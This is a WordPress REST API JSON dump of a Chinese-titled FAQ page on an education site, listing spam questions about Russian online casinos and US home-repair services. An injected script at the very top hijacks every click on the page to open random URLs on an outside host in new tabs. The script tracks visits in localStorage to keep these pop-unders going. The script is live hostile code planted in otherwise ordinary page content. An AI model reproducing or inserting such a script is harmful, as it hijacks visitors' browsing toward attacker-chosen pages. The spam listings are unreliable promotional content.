<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1189,"date":"2014-10-14T12:35:53","date_gmt":"2014-10-14T04:35:53","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1189"},"modified":"2014-10-14T12:36:43","modified_gmt":"2014-10-14T04:36:43","slug":"dwqa-questions","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1189","title":{"rendered":"\u7dda\u4e0aFAQ"},"content":{"rendered":"<div class=\"dwqa-container\" ><div class=\"dwqa-questions-archive\"><form id=\"dwqa-search\" class=\"dwqa-search\"><input data-nonce=\"c24bf536f8\" type=\"text\" placeholder=\"What do you want to know?\" name=\"qs\" value=\"\"><\/form><div class=\"dwqa-question-filter\"><span>Filter:<\/span><a href=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;filter=all\" class=\"active\">\u6240\u6709<\/a><a href=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;filter=open\" class=\"\">\u958b\u653e<\/a><a href=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;filter=resolved\" class=\"\">\u5df2\u89e3\u6c7a<\/a><a href=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;filter=closed\" class=\"\">\u95dc\u9589<\/a><a href=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;filter=unanswered\" class=\"\">Unanswered<\/a><select id=\"dwqa-sort-by\" class=\"dwqa-sort-by\" onchange=\"this.options[this.selectedIndex].value && (window.location = this.options[this.selectedIndex].value);\"><option selected disabled>Sort by<\/option><option value=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;sort=views\">Views<\/option><option value=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;sort=answers\">\u7b54\u6848<\/option><option value=\"\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1189&#038;sort=votes\">Votes<\/option><\/select><\/div><div class=\"dwqa-questions-list\"><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question=%d0%b1%d0%be%d0%bb%d1%8c%d1%88%d0%be%d0%b9-%d0%ba%d1%83%d1%88-%d1%8d%d1%82%d0%be-%d0%bf%d1%80%d0%be%d1%81%d1%82%d0%be-2\">\u0411\u043e\u043b\u044c\u0448\u043e\u0439 \u041a\u0443\u0448 &#8211; \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Dora Whitmer<\/a> \u63d0\u554f\u65bc 2 \u5929 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>4<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question=%d0%bf%d1%83%d1%82%d0%b8-%d0%b2%d1%8b%d0%b1%d0%be%d1%80%d0%b0-%d0%b8%d0%b4%d0%b5%d0%b0%d0%bb%d1%8c%d0%bd%d0%be%d0%b3%d0%be-%d0%b2%d0%b5%d0%b1-%d0%ba%d0%b0%d0%b7%d0%b8%d0%bd%d0%be\">\u041f\u0443\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u0431-\u043a\u0430\u0437\u0438\u043d\u043e<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Josie McAlexander<\/a> \u63d0\u554f\u65bc 5 \u5929 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>6<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question=%d1%81%d0%b5%d0%ba%d1%80%d0%b5%d1%82%d1%8b-%d0%b1%d0%be%d0%bd%d1%83%d1%81%d0%be%d0%b2-%d0%be%d0%bd%d0%bb%d0%b0%d0%b9%d0%bd-%d0%ba%d0%b0%d0%b7%d0%b8%d0%bd%d0%be-ramenbet-casino-%d0%ba%d0%be%d1%82\">\u0421\u0435\u043a\u0440\u0435\u0442\u044b \u0431\u043e\u043d\u0443\u0441\u043e\u0432 \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u0430\u0437\u0438\u043d\u043e ramenbet casino, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Jayson Monahan<\/a> \u63d0\u554f\u65bc 6 \u5929 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>5<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question=paver-cleaning-sealing-pros-of-mt-sinai-3\">Paver Cleaning &amp; Sealing Pros of Mt. Sinai<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Tammi Glennie<\/a> \u63d0\u554f\u65bc 2 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>7<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question=neighborhood-garage-door-repair-of-columbia-5\">Neighborhood Garage Door Repair Of Columbia<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Stephen Seese<\/a> \u63d0\u554f\u65bc 2 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>7<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><\/div><div class=\"dwqa-questions-footer\"><div class=\"dwqa-pagination\"><span aria-dwqa-current=\"page\" class=\"dwqa-page-numbers dwqa-current\">1<\/span><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1189&#038;paged=2&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F1189\">2<\/a><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1189&#038;paged=3&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F1189\">3<\/a><span class=\"dwqa-page-numbers dots\">...<\/span><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1189&#038;paged=366&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F1189\">366<\/a><a class=\"next dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1189&#038;paged=2&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F1189\">\u4e0b\u4e00\u9801 &raquo;<\/a><\/div><div class=\"dwqa-ask-question\"><a href=\"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=1190\">\u63d0\u51fa\u554f\u984c<\/a><\/div><\/div><\/div><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/1189"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1189"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/1189\/revisions"}],"predecessor-version":[{"id":1191,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/1189\/revisions\/1191"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}